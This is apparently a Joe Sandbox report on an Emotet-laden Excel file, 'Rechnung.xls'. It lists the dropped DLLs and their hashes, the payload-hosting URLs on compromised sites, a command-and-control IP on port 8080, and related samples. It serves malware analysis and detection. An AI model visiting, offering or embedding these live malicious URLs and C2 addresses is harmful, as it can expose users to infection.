C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\klJrMZJhgldiJr6j0XWPeZOiGs[1].dll	56%	ReversingLabs	Win64.Trojan.Emotet
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\RD05UTHGkitvIJt[1].dll	41%	ReversingLabs	Win64.Trojan.Emotet
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\me435CErJsFGw1q[1].dll	29%	Metadefender		Browse
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\me435CErJsFGw1q[1].dll	59%	ReversingLabs	Win64.Trojan.Emotet

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Link
kabeonet.pl	1%	Virustotal	Browse
salledemode.com	12%	Virustotal	Browse
vipteck.com	10%	Virustotal	Browse
windowsupdatebg.s.llnwi.net	0%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label
https://173.82.82.196:8080/	100%	URL Reputation	malware
http://crl.pkioverheid.nl/DomOvLatestCRL.crl0	0%	URL Reputation	safe
https://173.82.82.196/C01-	100%	Avira URL Cloud	malware
http://ocsp.entrust.net03	0%	URL Reputation	safe
http://salledemode.com/tgroup.ge/x4bc2kL4BzGAeUsVi/	100%	Avira URL Cloud	malware
https://173.82.82.196/	100%	URL Reputation	malware
http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0	0%	URL Reputation	safe
http://www.diginotar.nl/cps/pkioverheid0	0%	URL Reputation	safe
https://vipteck.com/wp-admin/user/B8d6jr4pBND2HExAmI/lJWa95VlQ/	100%	Avira URL Cloud	malware
http://www.kabeonet.pl/wp-admin/VWlAz5vWJNHDb/	100%	Avira URL Cloud	malware
http://vipteck.com/wp-admin/user/B8d6jr4pBND2HExAmI/lJWa95VlQ/	100%	Avira URL Cloud	malware
http://kabeonet.pl/wp-admin/VWlAz5vWJNHDb/	100%	Avira URL Cloud	malware
https://173.82.82.196:8080/H	100%	Avira URL Cloud	malware
http://ocsp.entrust.net0D	0%	URL Reputation	safe
https://173.82.82.196:8080/L	100%	Avira URL Cloud	malware
https://173.82.82.196/l	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
kabeonet.pl	193.143.77.34	true	false	1%, Virustotal, Browse	unknown
salledemode.com	160.153.40.1	true	true	12%, Virustotal, Browse	unknown
vipteck.com	188.114.97.10	true	false	10%, Virustotal, Browse	unknown
airliftlimo.com	159.203.19.2	true	false		high
windowsupdatebg.s.llnwi.net	95.140.236.128	true	false	0%, Virustotal, Browse	unknown
www.kabeonet.pl	unknown	unknown	false		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://salledemode.com/tgroup.ge/x4bc2kL4BzGAeUsVi/	true	Avira URL Cloud: malware	unknown
https://vipteck.com/wp-admin/user/B8d6jr4pBND2HExAmI/lJWa95VlQ/	true	Avira URL Cloud: malware	unknown
http://www.kabeonet.pl/wp-admin/VWlAz5vWJNHDb/	true	Avira URL Cloud: malware	unknown
http://vipteck.com/wp-admin/user/B8d6jr4pBND2HExAmI/lJWa95VlQ/	true	Avira URL Cloud: malware	unknown
http://kabeonet.pl/wp-admin/VWlAz5vWJNHDb/	true	Avira URL Cloud: malware	unknown
https://airliftlimo.com/wp-admin/iMc/	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://173.82.82.196:8080/	regsvr32.exe, 00000004.00000003.1001613039.000000000043E000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000004.00000002.1240840830.000000000043E000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000002.1240812626.00000000003CB000.00000004.00000020.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
http://crl.pkioverheid.nl/DomOvLatestCRL.crl0	regsvr32.exe, 00000004.00000002.1241047566.0000000002E78000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000002.1241047468.0000000002EC8000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000002.1241036409.00000000034A0000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://173.82.82.196/C01-	regsvr32.exe, 00000008.00000002.1240766444.00000000002D7000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://crl.entrust.net/server1.crl0	regsvr32.exe, 00000004.00000002.1241047566.0000000002E78000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000002.1241047468.0000000002EC8000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000002.1241036409.00000000034A0000.00000004.00000020.00020000.00000000.sdmp	false		high
http://ocsp.entrust.net03	regsvr32.exe, 00000004.00000002.1241047566.0000000002E78000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000002.1241047468.0000000002EC8000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000002.1241036409.00000000034A0000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://173.82.82.196/	regsvr32.exe, 00000006.00000002.1240795899.00000000003BD000.00000004.00000020.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0	regsvr32.exe, 00000004.00000002.1241047566.0000000002E78000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000002.1241047468.0000000002EC8000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000002.1241036409.00000000034A0000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.diginotar.nl/cps/pkioverheid0	regsvr32.exe, 00000004.00000002.1241047566.0000000002E78000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000002.1241047468.0000000002EC8000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000002.1241036409.00000000034A0000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://173.82.82.196:8080/H	regsvr32.exe, 00000008.00000002.1240766444.00000000002D7000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://ocsp.entrust.net0D	regsvr32.exe, 00000004.00000002.1241047566.0000000002E78000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000002.1241047468.0000000002EC8000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000002.1241036409.00000000034A0000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://secure.comodo.com/CPS0	regsvr32.exe, 00000004.00000002.1241047566.0000000002E78000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000002.1241047468.0000000002EC8000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000002.1240826221.00000000003DA000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000002.1241036409.00000000034A0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://173.82.82.196:8080/L	regsvr32.exe, 00000008.00000002.1240766444.00000000002D7000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://crl.entrust.net/2048ca.crl0	regsvr32.exe, 00000004.00000002.1241047566.0000000002E78000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000006.00000002.1241047468.0000000002EC8000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000002.1241036409.00000000034A0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://173.82.82.196/l	regsvr32.exe, 00000008.00000002.1240766444.00000000002D7000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
159.203.19.2	airliftlimo.com	United States	14061	DIGITALOCEAN-ASNUS	false
188.114.97.10	vipteck.com	European Union	13335	CLOUDFLARENETUS	false
173.82.82.196	unknown	United States	35916	MULTA-ASN1US	true
193.143.77.34	kabeonet.pl	Poland	29522	KEIPL	false
160.153.40.1	salledemode.com	United States	26496	AS-26496-GO-DADDY-COM-LLCUS	true

General Information

Joe Sandbox Version:	34.0.0 Boulder Opal
Analysis ID:	632078
Start date and time: 23/05/202209:18:11	2022-05-23 09:18:11 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 9m 1s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	Rechnung.xls
Cookbook file name:	defaultwindowsofficecookbook.jbs
Analysis system description:	Windows 7 x64 SP1 with Office 2010 SP1 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
Number of analysed new started processes analysed:	13
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.expl.evad.winXLS@15/16@5/5
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 51.2% (good quality ratio 27.5%) Quality average: 32.8% Quality standard deviation: 37.5%
HCA Information:	Successful, ratio: 95% Number of executed functions: 47 Number of non-executed functions: 246
Cookbook Comments:	Found application associated with file extension: .xls Adjust boot time Enable AMSI Found Word or Excel or PowerPoint or XPS Viewer Attach to Office via COM Scroll down Close Viewer

Warnings

Exclude process from analysis (whitelisted): dllhost.exe
Excluded IPs from analysis (whitelisted): 173.222.108.210, 173.222.108.226
Excluded domains from analysis (whitelisted): ctldl.windowsupdate.com, a767.dspw65.akamai.net, wu-bg-shim.trafficmanager.net, download.windowsupdate.com.edgesuite.net
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
09:18:30	API Interceptor	2874x Sleep call for process: regsvr32.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
159.203.19.2	melimar.com.xls	Get hash	malicious	Browse
	AGK-010522 MJEY-210522.xls	Get hash	malicious	Browse
	SecuriteInfo.com.XLM.Trojan.Abracadabra.42.Gen.2143.xls	Get hash	malicious	Browse
188.114.97.10	melimar.com.xls	Get hash	malicious	Browse	vipteck.com/wp-admin/user/B8d6jr4pBND2HExAmI/lJWa95VlQ/
	#U03bd#U03ad#U03b1 #U03c0#U03b1#U03c1#U03b1#U03b3#U03b3#U03b5#U03bb#U03af#U03b1.exe	Get hash	malicious	Browse	www.caffinoze.com/uevb/?dN6TSf=5jiPs4hh22L&Zbptn=+kZlZtVkmK9mtN4R8ketZDyq6RgIaOfH1OSk9sfvnCuCv2janrsaP1j7b5HSpzHAlDvs
	invoicecopy.exe	Get hash	malicious	Browse	www.edu-onl-univ-net.com/pzja/?3f=zfCf2c616CyfxHguxZZm7DNwPDi8EB3UdjS0lxktw5y2F154ZGH7CQxfIJF4n79GUGC+&bPvxP=r8YPfT
	inward remittance.xlsx	Get hash	malicious	Browse	vmopahtqdf84hfvsqepalcbcch63gdyvah.ml/BN2/fre.php
	xijREvMlOW.exe	Get hash	malicious	Browse	vmopahtqdf84hfvsqepalcbcch63gdyvah.ml/BN2/fre.php
	proof of payment.xlsx	Get hash	malicious	Browse	vmopahtqdf84hfvsqepalcbcch63gdyvah.ml/BN2/fre.php
	7KJG9mtgsK.exe	Get hash	malicious	Browse	vmopahtqdf84hfvsqepalcbcch63gdyvah.ml/BN2/fre.php
	F8v1zSYyNE.exe	Get hash	malicious	Browse	vmopahtqdf84hfvsqepalcbcch63gdyvah.ml/BN2/fre.php
	Enquiry 220519.exe	Get hash	malicious	Browse	www.belty.net/f7sb/?jN6LWTw=o1F6RDn0sBoDYo7h7gqtE434GJkKPSPCeJfVKwSkLQg71EAJ9C+Oj7XoejvxuceK6+Rk&jtU=nPLTHLD
	vbc.exe	Get hash	malicious	Browse	www.bupabii.site/ud5f/?1bsHsx=7nPxyDW8Iva4xf&iHt=ALfx5VHNdhW2uGqFmDqxYgHynhZL+44fq/uNEf/2poi8cDq081MUE8RtgpR85eIUxsfT
	RFQ 00078569_pdf.exe	Get hash	malicious	Browse	lokaxz.xyz/fc/bk/ss.php
	Due Payments.xlsx	Get hash	malicious	Browse	vmopahtqdf84hfvsqepalcbcch63gdyvah.ml/BN2/fre.php
	Due Payments.xlsx	Get hash	malicious	Browse	vmopahtqdf84hfvsqepalcbcch63gdyvah.ml/BN2/fre.php
	remittance confirmationpdf.exe	Get hash	malicious	Browse	lokaxz.xyz/fc/bk/ss.php
	http://halocem.org/azV0jA	Get hash	malicious	Browse	halocem.org/azV0jA
	200.xlsx	Get hash	malicious	Browse	vmopahtqdf84hfvsqepalcbcch63gdyvah.ml/BN2/fre.php
	Odeme makbuzu.exe	Get hash	malicious	Browse	5gw4d.xyz/PL341/index.php
	SWD0004 PO06350.exe	Get hash	malicious	Browse	www.floristeriascasablanca3.com/tgdh/?nPvXk=ZiOdQcdAFakp3noFfw0s5I3dZIhycVz4J/o2gsVSsyDVIUb2YJIwyoVnHcK0O/pnw9O7EPCsrQ==&aT=kdQ818F
	ryXm1NUc26.exe	Get hash	malicious	Browse	vmopahtqdf84hfvsqepalcbcch63gdyvah.ml/BN2/fre.php
	xbgyAUmAXn.exe	Get hash	malicious	Browse	vmopahtqdf84hfvsqepalcbcch63gdyvah.ml/BN2/fre.php

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
airliftlimo.com	melimar.com.xls	Get hash	malicious	Browse	159.203.19.2
	AGK-010522 MJEY-210522.xls	Get hash	malicious	Browse	159.203.19.2
	SecuriteInfo.com.XLM.Trojan.Abracadabra.42.Gen.2143.xls	Get hash	malicious	Browse	159.203.19.2
vipteck.com	melimar.com.xls	Get hash	malicious	Browse	188.114.97.10
	AGK-010522 MJEY-210522.xls	Get hash	malicious	Browse	188.114.96.10
	XR-4966 report.xlsm	Get hash	malicious	Browse	188.114.97.7
	XR-4966 report.xlsm	Get hash	malicious	Browse	188.114.96.7
	2022-03-01_1429.xlsm	Get hash	malicious	Browse	188.114.97.7
	New payment details and address update.xlsm	Get hash	malicious	Browse	188.114.96.7
	New payment details and address update.xlsm	Get hash	malicious	Browse	188.114.97.7
	GZY-010322 PQEM-010322.xlsm	Get hash	malicious	Browse	188.114.96.17
	2022-03-01_0918.xlsm	Get hash	malicious	Browse	188.114.96.7
	3907301615343637.xlsm	Get hash	malicious	Browse	188.114.97.7
	3907301615343637.xlsm	Get hash	malicious	Browse	172.67.142.136
	TVN-010322 OWUZ-010322.xlsm	Get hash	malicious	Browse	188.114.97.7
	Form.xlsm	Get hash	malicious	Browse	188.114.97.7
salledemode.com	melimar.com.xls	Get hash	malicious	Browse	160.153.40.1
	AGK-010522 MJEY-210522.xls	Get hash	malicious	Browse	160.153.40.1
	dettagli-1605.xls	Get hash	malicious	Browse	160.153.40.1

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
DIGITALOCEAN-ASNUS	DETAILS 25922194612.xls	Get hash	malicious	Browse	165.22.73.229
	Swift copy.exe	Get hash	malicious	Browse	206.189.39.129
	Invoice.docx	Get hash	malicious	Browse	198.199.122.148
	RechnungsDetails.xls	Get hash	malicious	Browse	128.199.252.32
	Rechnungskorrektur.xls	Get hash	malicious	Browse	128.199.252.32
	Rechnung 2022.20.05_1440.xls	Get hash	malicious	Browse	128.199.252.32
	Swift copy.exe	Get hash	malicious	Browse	206.189.39.129
	melimar.com.xls	Get hash	malicious	Browse	159.203.19.2
	AGK-010522 MJEY-210522.xls	Get hash	malicious	Browse	159.203.19.2
	3vYbe1bYFd.dll	Get hash	malicious	Browse	165.22.73.229
	3vYbe1bYFd.dll	Get hash	malicious	Browse	165.22.73.229
	meerkat.arm7-20220522-2050	Get hash	malicious	Browse	5.101.107.84
	nZNmWqwnpr.dll	Get hash	malicious	Browse	165.22.73.229
	W3XqCWvDWC.dll	Get hash	malicious	Browse	165.22.73.229
	JtJ50Swtfo.dll	Get hash	malicious	Browse	165.22.73.229
	nZNmWqwnpr.dll	Get hash	malicious	Browse	165.22.73.229
	W3XqCWvDWC.dll	Get hash	malicious	Browse	165.22.73.229
	JtJ50Swtfo.dll	Get hash	malicious	Browse	165.22.73.229
	VUzZGNPCim.dll	Get hash	malicious	Browse	165.22.73.229
	ZWc3yi399O.dll	Get hash	malicious	Browse	165.22.73.229
CLOUDFLARENETUS	xwBgnRX7mc.exe	Get hash	malicious	Browse	172.67.135.95
	7uvkuUP9Ki.exe	Get hash	malicious	Browse	172.67.34.170
	854F1E97-5DBB-4A87-A566-33D9012B05E2.exe	Get hash	malicious	Browse	162.159.134.233
	melimar.com.xls	Get hash	malicious	Browse	188.114.97.10
	JuBFlRMNEa.exe	Get hash	malicious	Browse	172.67.135.95
	AGK-010522 MJEY-210522.xls	Get hash	malicious	Browse	188.114.96.10
	specyfikacja.xlsx	Get hash	malicious	Browse	23.227.38.74
	SecuriteInfo.com.Trojan.MSIL.Kryptik.AFET.24264.exe	Get hash	malicious	Browse	1.2.3.4
	F42E768EAF5BBDE818DFA4A2B00B1BC53D2E8365F646E.exe	Get hash	malicious	Browse	162.159.134.233
	ZXcGOtlPnA.exe	Get hash	malicious	Browse	172.67.188.70
	meerkat.arm7-20220522-2050	Get hash	malicious	Browse	104.17.134.248
	badstuff.ps1	Get hash	malicious	Browse	172.67.218.221
	#U0645#U0634#U0627#U0647#U062f#U0647_#U0627#U0628#U0644#U0627#U063a#U06cc#U0647.apk	Get hash	malicious	Browse	104.21.39.189
	REF AMVK22-3480.exe	Get hash	malicious	Browse	162.159.129.233
	RFQ 61340.exe	Get hash	malicious	Browse	162.159.134.233
	zkVYp3YMvk.exe	Get hash	malicious	Browse	162.159.133.233
	https://viewstripo.email/template/69b6c1d6-360b-47af-bbec-994db5af551a	Get hash	malicious	Browse	104.18.11.207
	WebCompanionInstaller.exe	Get hash	malicious	Browse	104.18.87.101
	AutoInstall.exe	Get hash	malicious	Browse	162.159.133.233
	GDtq0zJoVm.exe	Get hash	malicious	Browse	162.159.129.233

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
7dcce5b76c8b17472d024758970a406b	Invoice.docx	Get hash	malicious	Browse	188.114.97.10 159.203.19.2
	RechnungsDetails.xls	Get hash	malicious	Browse	188.114.97.10 159.203.19.2
	Rechnungskorrektur.xls	Get hash	malicious	Browse	188.114.97.10 159.203.19.2
	Rechnung 2022.20.05_1440.xls	Get hash	malicious	Browse	188.114.97.10 159.203.19.2
	melimar.com.xls	Get hash	malicious	Browse	188.114.97.10 159.203.19.2
	AGK-010522 MJEY-210522.xls	Get hash	malicious	Browse	188.114.97.10 159.203.19.2
	report 340.xls	Get hash	malicious	Browse	188.114.97.10 159.203.19.2
	info_1.xls	Get hash	malicious	Browse	188.114.97.10 159.203.19.2
	Facture_09.02.2022_V2.xlsb	Get hash	malicious	Browse	188.114.97.10 159.203.19.2
	Scan 69.xls	Get hash	malicious	Browse	188.114.97.10 159.203.19.2
	Address Changed.xls	Get hash	malicious	Browse	188.114.97.10 159.203.19.2
	10082376542717622006.xls	Get hash	malicious	Browse	188.114.97.10 159.203.19.2
	6691113204648532361.xls	Get hash	malicious	Browse	188.114.97.10 159.203.19.2
	E318709655.xls	Get hash	malicious	Browse	188.114.97.10 159.203.19.2
	OGgZVa2y3B.xls	Get hash	malicious	Browse	188.114.97.10 159.203.19.2
	E282497021.xls	Get hash	malicious	Browse	188.114.97.10 159.203.19.2
	E2992512590.xls	Get hash	malicious	Browse	188.114.97.10 159.203.19.2
	L1877777548.xls	Get hash	malicious	Browse	188.114.97.10 159.203.19.2
	SecuriteInfo.com.Exploit.Siggen3.32399.24702.xls	Get hash	malicious	Browse	188.114.97.10 159.203.19.2
	SecuriteInfo.com.Exploit.Siggen3.32401.11843.xls	Get hash	malicious	Browse	188.114.97.10 159.203.19.2

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Link
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\RD05UTHGkitvIJt[1].dll	melimar.com.xls	Get hash	malicious	Browse
	AGK-010522 MJEY-210522.xls	Get hash	malicious	Browse
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\klJrMZJhgldiJr6j0XWPeZOiGs[1].dll	melimar.com.xls	Get hash	malicious	Browse
	AGK-010522 MJEY-210522.xls	Get hash	malicious	Browse
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\me435CErJsFGw1q[1].dll	melimar.com.xls	Get hash	malicious	Browse
	AGK-010522 MJEY-210522.xls	Get hash	malicious	Browse

Created / dropped Files

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Windows\System32\regsvr32.exe
File Type:	Microsoft Cabinet archive data, 61480 bytes, 1 file
Category:	dropped
Size (bytes):	61480
Entropy (8bit):	7.9951219482618905
Encrypted:	true
SSDEEP:	1536:kmu7iDG/SCACih0/8uIGantJdjFpTE8lTeNjiXKGgUN:CeGf5gKsG4vdjFpjlYeX9gUN
MD5:	B9F21D8DB36E88831E5352BB82C438B3
SHA1:	4A3C330954F9F65A2F5FD7E55800E46CE228A3E2
SHA-256:	998E0209690A48ED33B79AF30FC13851E3E3416BED97E3679B6030C10CAB361E
SHA-512:	D4A2AC7C14227FBAF8B532398FB69053F0A0D913273F6917027C8CADBBA80113FDBEC20C2A7EB31B7BB57C99F9FDECCF8576BE5F39346D8B564FC72FB1699476
Malicious:	false
Preview:	MSCF....(.......,...................I........y.........Tbr .authroot.stl..$..4..CK..<Tk...c_.d....A.K.....Y.f....!.))$7I.....e..eKT..k....n.3.......S..9.s.....3H.Mh......qV.=M6.=.4.F.....V:F..]......B`....Q...c"U.0.n....J.....4.....i7s..:.27....._...+).lE..he.4\|.?,...h....7..PA..b.,. .....#1+..o...g.....2n1m...=.......Dp.;..f..ljX.Dx..r<'.1RI3B0<w.D.z..)D\|..8<..c+..'XH..K,.Y..d.j.<.A.......l_lVb[w..rDp...'.....nL....!G.F....f.fX..r.. ?.....v(...L..<.\.Z..g;.>.0v...P ......\|...A..(..x...T0.`g...c..7.U?...9.p..a..&..9......sV..l0..D..fhi..h.F....q...y.....Mq].4..Z.....={L....AS..9.....:.:.........+..P.N....EAQ.V. sr.....y.B.`.Efe..8../....$...y-.q.J.......nP...2.Q8...O........M.@\.>=X....V..z.4.=.@...ws.N.M3.S.c?.....C4]?..\.K.9......^...CU......O....X.`........._.gU.....V.{V6..m..D.-\|.Q.t.7.....9.~....[...I.<e...~$..>......s.I.S....~1..IV.2Ri:..]R!8...q...l.X.%.)@......2.gb,t...}..;...@.Z..<q..y..:...e3..cY.we.$....z..\| .#.......I...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Windows\System32\regsvr32.exe
File Type:	data
Category:	dropped
Size (bytes):	330
Entropy (8bit):	3.126909434994818
Encrypted:	false
SSDEEP:	6:kKxBoJN+SkQlPlEGYRMY9z+4KlDA3RUesJ21:fkPlE99SNxAhUesE1
MD5:	6A49FB2C22BA981051DEFE8A1CEE5715
SHA1:	EC21B01F3DE5ADC1857D313D381E52ACFBA22FA5
SHA-256:	8AEBAACDAC7A87C687A8329AF0CC184CBD7E8AACE965EA5970DEF774C71BEDDF
SHA-512:	C282DA783959BA66746726F07E64250CD0B34CA6A4A403DE99C1E5B7635F54BEF65C6F0BB3B135177C2990E8A01D081764096A97458325D75F8BF9FE1F08699F
Malicious:	false
Preview:	p...... .........O..n..(....................................................... ........3k/"[......(...........(...h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".8.0.3.3.6.b.2.f.2.2.5.b.d.8.1.:.0."...

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\klJrMZJhgldiJr6j0XWPeZOiGs[1].dll

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	365056
Entropy (8bit):	7.158106334231925
Encrypted:	false
SSDEEP:	3072:JI0AM0yQkR9M6lglELtJUNjiWGyWcTZA0JUiA2tqZ4IvUlDAj7UOjVifSwHEDQVO:i5MR9M6y3TjRIvgMSS3AyUrhYu3j
MD5:	BE9AB3CBCD3C659212F266325283997D
SHA1:	8AE66E545E3F39473BE65759BE466D48448F385C
SHA-256:	278D0C0BAF0203C13A5E72F31027F4FD0921F6FA2A84656485D86F8D09D562C0
SHA-512:	48058CE87D6A2813C60852B435BC43D7F64D0180A63F9F5964123C0009FC4060216749FBE32DF6FC60BC35E139E4B2D24320AEF526BF12A8A57473203B4F942D
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 56%
Joe Sandbox View:	Filename: melimar.com.xls, Detection: malicious, Browse Filename: AGK-010522 MJEY-210522.xls, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8..ik..ik..ik...k..ik...k..ik..k..ik..hk..ik...k..ik...k..ik...k..ik...k..ikRich..ik................PE..d...v{.b.........." .................5...............................................T....@....................................................P.................................................................................... ...............................text............................... ..`.rdata..T.... ......................@..@.data....7..........................@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\RD05UTHGkitvIJt[1].dll

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	365056
Entropy (8bit):	7.158099808823071
Encrypted:	false
SSDEEP:	3072:JI0AM0yQkR9M6lglELtJUNjiWGyWcT+0JUiA2tqZ4IvUlDAj7UOjVifSwHEDQVLK:i5MR9M6y3TrRIvgMSS3AyUrhYu3j
MD5:	F11EBAFE4C3C0069090023A6B4CAEC35
SHA1:	3FECC4BC39FA6F17F062473D80F51AAEF8B442DB
SHA-256:	CAE8D1C14C85D10D7413AF876E6748813AD6930CF4D856E120857C4489A690DA
SHA-512:	425ED0A65526F11EADC37C8158C2D53C6A07C234DA59594DEEC8C8B132B6673534371A149CD5EA586ED07B0A517011E6143CE41E5D4D93608208C1DC73880F18
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 41%
Joe Sandbox View:	Filename: melimar.com.xls, Detection: malicious, Browse Filename: AGK-010522 MJEY-210522.xls, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8..ik..ik..ik...k..ik...k..ik..k..ik..hk..ik...k..ik...k..ik...k..ik...k..ikRich..ik................PE..d...v{.b.........." .................5...............................................T....@....................................................P.................................................................................... ...............................text............................... ..`.rdata..T.... ......................@..@.data....7..........................@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\me435CErJsFGw1q[1].dll

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	downloaded
Size (bytes):	365056
Entropy (8bit):	7.158106332990621
Encrypted:	false
SSDEEP:	3072:JI0AM0yQkR9M6lglELtJUNjiWGyWcTb0JUiA2tqZ4IvUlDAj7UOjVifSwHEDQVLK:i5MR9M6y3TWRIvgMSS3AyUrhYu3j
MD5:	8516983EEDC8690C1495B828B4262A63
SHA1:	BDD250044234E53E9F08DB444A1DE00987735930
SHA-256:	90498F1EE590DA28566434C15EFCFD98E829846F233387553EA655FC7559168D
SHA-512:	C5B6A37A787A70E70BE8614F957C183547B85DFA0913B746F6BC701CEC09BD54E04FB53443DFEFFEDCF83176F581E6A5F4DE06219A1FA6D9D015691E9432CD93
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Metadefender, Detection: 29%, Browse Antivirus: ReversingLabs, Detection: 59%
Joe Sandbox View:	Filename: melimar.com.xls, Detection: malicious, Browse Filename: AGK-010522 MJEY-210522.xls, Detection: malicious, Browse
IE Cache URL:	http://salledemode.com/tgroup.ge/x4bc2kL4BzGAeUsVi/
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8..ik..ik..ik...k..ik...k..ik..k..ik..hk..ik...k..ik...k..ik...k..ik...k..ikRich..ik................PE..d...v{.b.........." .................5...............................................T....@....................................................P.................................................................................... ...............................text............................... ..`.rdata..T.... 